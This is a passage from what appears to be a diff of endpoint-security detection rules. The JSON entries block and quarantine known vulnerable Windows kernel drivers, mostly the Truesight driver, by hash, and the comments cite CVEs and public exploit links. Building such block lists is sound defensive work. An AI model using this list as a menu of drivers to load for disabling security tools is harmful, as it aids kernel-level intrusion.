+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f784d2666fac241c31cec0cc285d228662d509ec75678565d4a63d5a4712c7b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b91f3844-6497-5ebf-a091-3ab60f51c63b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818006Z",
+  "creation_date": "2026-03-23T11:45:31.818009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5adfedbb426cac12472d6122217cc34b32c1272870087132e6d3cc286a357e13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b92ef931-edc5-5b78-a11b-07098fb08583",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824611Z",
+  "creation_date": "2026-03-23T11:45:30.824614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "384f2761d6f92727598e6b0ba36dbe2187b4798631302dbf5f0692bd52383b98",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b93198b3-99db-50f5-ad34-eee3fdc33f5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822344Z",
+  "creation_date": "2026-03-23T11:45:31.822346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c881a4023af4368404f13117cc068690f718c73077c2560846924b241814ef81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b932b1fb-b062-5a92-8e1d-90008cd17b12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141042Z",
+  "creation_date": "2026-03-23T11:45:31.141044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50eaae094acb573f290dbee057df37b308d0e1405b56ff33c69beee9e5913a17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9369005-bb9d-5009-a8c6-e1607d617f68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472721Z",
+  "creation_date": "2026-03-23T11:45:31.472724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5e76fd04dc733abf48dff452b3be8cf09a1ad2ec54333f75386431566dce502",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b93793db-e229-50aa-a424-30e40d450bc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605138Z",
+  "creation_date": "2026-03-23T11:45:29.605140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9c121b6d68ce8ea989142ac98bd63e055b1fc9b720713e735569552503e362a",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b938dd8e-1d52-5993-aab3-ac8a52e60430",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617538Z",
+  "creation_date": "2026-03-23T11:45:29.617540Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94111de210f6b3b48dda16b3422f0f9180e30bcb5765b6858c451d1d89196199",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9556a25-65a4-5e32-9664-87f40587b349",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829272Z",
+  "creation_date": "2026-03-23T11:45:30.829274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9d6b6784b5616ea4ed45d1910502919676e93a7c0af895c879adff580cec18d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b967fb15-74a6-5e0a-a7cb-78fc5e6f5f12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144777Z",
+  "creation_date": "2026-03-23T11:45:31.144779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "137f68f02f7ce1c085474d0a61ee460ea597db6420c5930bd6dba282f329bf20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b968cbd6-cf44-5bc0-915c-18bc6ab5e700",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477192Z",
+  "creation_date": "2026-03-23T11:45:31.477196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477206Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b96438e685eff2d464e63035f5a6bd7f5a04bdcb9ad29d75d5143b79d1a94835",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b96f6d3b-d4ca-544b-b693-66ce8d4aebab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499377Z",
+  "creation_date": "2026-03-23T11:45:31.499408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499416Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "420bece9efaa2836e412bc552d46c18a47f5623a1cefad4e58f6d33e09d29683",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b97ce09c-5bf2-5b51-bb07-97cb9a8b572b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822185Z",
+  "creation_date": "2026-03-23T11:45:31.822187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca7a7790afb16b7ef72beb8c8f1b2d362db9b7c380d1fdc5117d8824db354020",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9818383-2a23-5ed9-bc1a-cfb36b904f1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975042Z",
+  "creation_date": "2026-03-23T11:45:29.975044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9829f42-4c39-59f1-a3db-8b2075615189",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143816Z",
+  "creation_date": "2026-03-23T11:45:32.143818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143824Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2759e2290295a81e80ef5d8e95266aa08d67832c0af51267ad1100b89d8b890c",
+  "comment": "Vulnerable Kernel Driver (aka ACE-BASE.sys) [https://www.loldrivers.io/drivers/ff77b58d-e143-4f61-92de-c0d9bc0af7d5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b992a289-6657-5591-9dd2-deedf1746e4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148451Z",
+  "creation_date": "2026-03-23T11:45:31.148453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76ad8523b85c431b00e8025d7513a0a7058ec1fad1eda456b857087029a3119f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9979068-f152-5381-893b-283151f7aaa1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148590Z",
+  "creation_date": "2026-03-23T11:45:31.148592Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b377a73f5b7ac58897de2ee6108a2fb0401af9ad584a33902a9fcff40f5066e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b997cf40-f107-57ce-954e-2495517b4655",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984511Z",
+  "creation_date": "2026-03-23T11:45:29.984513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68b8f7154ad202145cf51ed2a8e21268af75efafff36db254e6943e154bd915a",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9a16e45-27cf-5725-bef5-42be4d291509",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618097Z",
+  "creation_date": "2026-03-23T11:45:29.618099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cc6b647174c8efa0a81ec1d3cb0464c8a567456571d0939fb2e76c6850bf7cb",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9b12495-17ae-558d-881e-380ecb88e74f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471569Z",
+  "creation_date": "2026-03-23T11:45:30.471572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471581Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41765151df57125286b398cc107ff8007972f4653527f876d133dac1548865d6",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9bd24c9-ab07-500d-9dd7-e0a03fd7dc18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478744Z",
+  "creation_date": "2026-03-23T11:45:31.478747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c27561b68e478bab9a1f391060c479ea67d6a23bf4531029c6bc94a4f9c5ff0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9d044a7-5b8a-5000-ba3c-29ec41ab46df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808128Z",
+  "creation_date": "2026-03-23T11:45:31.808132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6550963f98cc27366813fba3bcd61feb1f830a5e502384073ff6fad28158c97b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b9d69e9f-edbd-5ef7-a305-9469b9c3e83c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812598Z",
+  "creation_date": "2026-03-23T11:45:31.812600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1075c8bdd4decafad2f1614ef5f9d60e4fc41a5c82510f5631484e6db222b49e",
